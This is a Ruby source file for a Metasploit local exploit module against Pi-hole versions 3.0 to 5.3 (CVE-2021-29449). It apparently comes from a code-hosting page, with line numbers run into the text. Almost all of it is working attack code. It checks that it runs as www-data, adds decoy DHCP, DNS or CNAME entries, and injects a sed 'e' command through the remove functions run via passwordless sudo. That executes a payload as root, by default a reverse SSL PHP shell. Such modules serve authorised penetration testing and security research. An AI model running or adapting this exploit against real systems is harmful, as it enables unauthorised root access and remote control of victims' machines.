Path: blob/master/modules/exploits/linux/local/pihole_remove_commands_lpe.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78# includes: is_root?9include Msf::Post::Linux::Priv10# includes writable?, upload_file, upload_and_chmodx, exploit_data11include Msf::Post::File12# for whoami13include Msf::Post::Unix14# for get_session_pid needed by whoami15include Msf::Post::Linux::System16prepend Msf::Exploit::Remote::AutoCheck1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',23'Description' => %q{24Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,25removecustomdns, and removestaticdhcp functions without properly validating26the parameters before passing to sed. When executed as the www-data user,27this allows for a privilege escalation to root since www-data is in the28sudoers.d/pihole file with no password.29},30'License' => MSF_LICENSE,31'Author' => [32'h00die', # msf module33'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis34],35'Platform' => [ 'unix', 'linux' ],36'Arch' => [ ARCH_CMD ],37'SessionTypes' => [ 'shell', 'meterpreter' ],38'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },39'Payload' => {40'BadChars' => "\x27" # '41},42'Privileged' => true,43'References' => [44[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],45[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],46[ 'CVE', '2021-29449' ]47],48'DisclosureDate' => '2021-04-20',49'Notes' => {50'Stability' => [CRASH_SAFE],51'Reliability' => [REPEATABLE_SESSION],52'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]53},54'Targets' => [55['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec56['DNS', { 'min' => Rex::Version.new('5.0') }],57['CNAME', { 'min' => Rex::Version.new('5.1') }],58],59'DefaultTarget' => 060)61)62end6364def sudo_pihole65'sudo -n /usr/local/bin/pihole -a'66end6768def pihole_version69version = cmd_exec('sudo -n /usr/local/bin/pihole -v')70/Pi-hole version is v([^ ]+)/ =~ version71Rex::Version.new(Regexp.last_match(1))72end7374def check75w = whoami76print_status("Current user: #{w}")77v = pihole_version78print_status("Pi-hole version: #{v}")79unless v.between?(target['min'], Rex::Version.new('5.3'))80return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")81end82unless w == 'www-data'83return CheckCode::Safe("User must be www-data, currently #{w}")84end8586CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")87end8889def method_dhcp90f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'91if !file?(f) || read_file(f).empty?92mac = Faker::Internet.mac_address93ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"94print_status("Adding static DHCP #{mac} #{ip}")95cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")96end97unless file?(f)98print_error("Config file not found: #{f}")99return100end101print_good("#{f} found!")102print_status('Executing payload against removestaticdhcp command')103cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")104if mac105cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")106end107end108109def method_dns110f = '/etc/pihole/custom.list'111if !file?(f) || read_file(f).empty?112name = Faker::Internet.domain_name113ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"114print_status("Adding DNS entry #{name} #{ip}")115cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")116end117unless file?(f)118print_error("Config file not found: #{f}")119return120end121print_good("#{f} found!")122print_status('Executing payload against removecustomdns command')123cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")124if name125cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")126end127end128129def method_cname130f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'131if !file?(f) || read_file(f).empty?132name = "#{rand_text_alphanumeric(8..12)}.edu"133print_status("Adding CNAME entry #{name}")134cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")135end136unless file?(f)137print_error("Config file not found: #{f}")138return139end140print_good("#{f} found!")141print_status('Executing payload against removecustomcname command')142cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")143if name144cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")145end146end147148def exploit149if target.name == 'DHCP'150method_dhcp151elsif target.name == 'DNS'152method_dns153elsif target.name == 'CNAME'154method_cname155end156end157end158159160